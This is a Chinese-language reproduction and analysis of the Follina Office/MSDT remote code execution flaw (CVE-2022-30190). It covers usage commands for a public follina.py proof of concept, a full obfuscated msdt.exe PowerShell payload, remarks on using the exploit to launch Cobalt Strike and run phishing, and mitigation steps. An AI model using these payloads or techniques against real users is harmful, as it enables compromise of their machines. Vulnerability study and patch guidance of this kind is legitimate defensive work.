介紹
可利用惡意 Office 文件中的遠程模板功能從遠程網(wǎng)絡服務器獲取惡意 HTML 文件,通過微軟支持診斷工具(Microsoft Support Diagnostic Tool,MSDT)執(zhí)行惡意 PowerShell 代碼。該漏洞在宏被禁用的情況下,仍然可以調(diào)用 MSDT 執(zhí)行惡意代碼。并且當惡意文件另存為 RTF 格式時,還可以通過 Windows 資源管理器中的預覽窗格觸發(fā)此 rce 的調(diào)用,無需執(zhí)行也可以在目標機器上執(zhí)行任意代碼。
利用 RCE 能夠在非管理員權限、禁用宏且在 windows defender 開啟的情況下繞過防護,達到上線的效果
RTF是Rich Text Format的縮寫,意即多文本格式。 這是一種類似DOC格式(Word文檔)的文件,有很好的兼容性,使用Windows“附件”中的“寫字板”就能打開并進行編輯。 使用“寫字板”打開一個RTF格式文件時,將看到文件的內(nèi)容;如果要查看RTF格式文件的源代碼,只要使用“記事本”將它打開就行了
影響版本:
目前難以全面統(tǒng)計該 cve 影響的Office版本,微軟官方尚公布該 cve 波及的具體范圍。經(jīng)安天CERT分析人員驗證,確認受該 cve 影響的版本如下:
Microsoft Office 2013 Service Pack 1 (64-bit edition)
Microsoft Office 2013 Service Pack 1 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
Microsoft Office 2016 (32-bit edition)
Microsoft Office LTSC 2021 for 32-bit edition
Microsoft Office LTSC 2021 for 64-bit edition
復現(xiàn)
我這里復現(xiàn)用的版本是:office Microsoft Office LTSC 專業(yè)增強版 2021
Poc:https://github.com/chvancooten/follina.py
提供了很多利用方法
Usage:
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]
options:
-h, --help show this help message and exit
Required Arguments:
-m {command,binary}, --mode {command,binary}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-t {rtf,docx}, --type {rtf,docx}
The type of payload to use, can be "docx" or "rtf"
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
-
執(zhí)行命令
python .\follina.py -m command -c calc -t docx
可以通過 -c 參數(shù)指定 cs 的 powershell 代碼上線 cs -
執(zhí)行二進制文件
python follina.py -m binary -b \windows\system32\calc.exe -H 0.0.0.0 -P 8080 -t docx
生成 docx 文檔后點擊
Poc 分析
分析 Python 代碼
首先根據(jù) -H -p 參數(shù)指定的 IP 和端口生成 payload_url,url 就是生成的 exploit.html 文件位置
在上面的代碼中可以看到如果指定模式為 command 就會拼接ms-msdt:
開頭的字符串,然后調(diào)用 generate docx 其實就是將 payload_url 拼接到 document.xml-rels.tpl 中然后生成 word 文件
之前搞過 郵 件 釣 魚 的同學都應該很清除這里的邏輯是向word\_rels\document.xml.rels
寫一個遠程模板地址,CobaltStrike使用:第三篇使用CS進行用戶驅動攻擊(釣魚攻擊)
在來看一下這個 exploit.html 的具體內(nèi)容,可以看到ms-msdt
開頭的字符串被拼接到了<script>
標簽中,然后調(diào)整轉到這個偽協(xié)議
ms-msdt 協(xié)議
在注冊表中找到,其 command 是"%SystemRoot%\system32\msdt.exe" % 1
msdt.exe 是微軟支持診斷工具,官網(wǎng)文檔
官網(wǎng)文檔中給出了語法參數(shù)對照 payload
msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
-
/id PCWDiagnostic
表示運行 PCWDiagnostic 診斷包
大概意思就是該部分表示要在故障排除階段運行的腳本,發(fā)生故障即觸發(fā) payload 中的 powershell 代碼
修復
禁用MSDT URL
協(xié)議
以管理員身份運行命令提示符
備份注冊表項后,執(zhí)行命令:reg export HKEY_CLASSES_ROOT\ms-msdt filename
再執(zhí)行命令:reg delete HKEY_CLASSES_ROOT\ms-msdt /f
若需要撤銷禁用則用管理員身份打開cmd執(zhí)行:reg import filename
受本次 RCE 影響的Office版本目前不便統(tǒng)計,且暫無官方補丁,由此判斷:該漏洞后續(xù)被利用的可能性較大。鑒于本次漏洞影響十分廣泛且危害較大,安天CERT給出下列建議:
謹慎下載及打開來源不明或內(nèi)容可疑的文檔;
關閉資源管理器的文件內(nèi)容預覽功能;
更新終端防病毒程序(及)病毒庫;
禁用ms-msdt功能,并取消對應的rtf文件類型關聯(lián)。
Follina Microsoft Office RCE with MS-MSDT Protocol
Microsoft Office 遠程代碼執(zhí)行(CVE-2022-30190)風險提示
公眾號:紅隊藍軍,Windows支持診斷工具(MSDT)遠程代碼執(zhí)行(CVE-2022-30190)分析復現(xiàn)_修復文章來源:http://www.zghlxwxcb.cn/news/detail-468393.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-468393.html
到了這里,關于Windows MSDT RCE(CVE-2022-30190)復現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!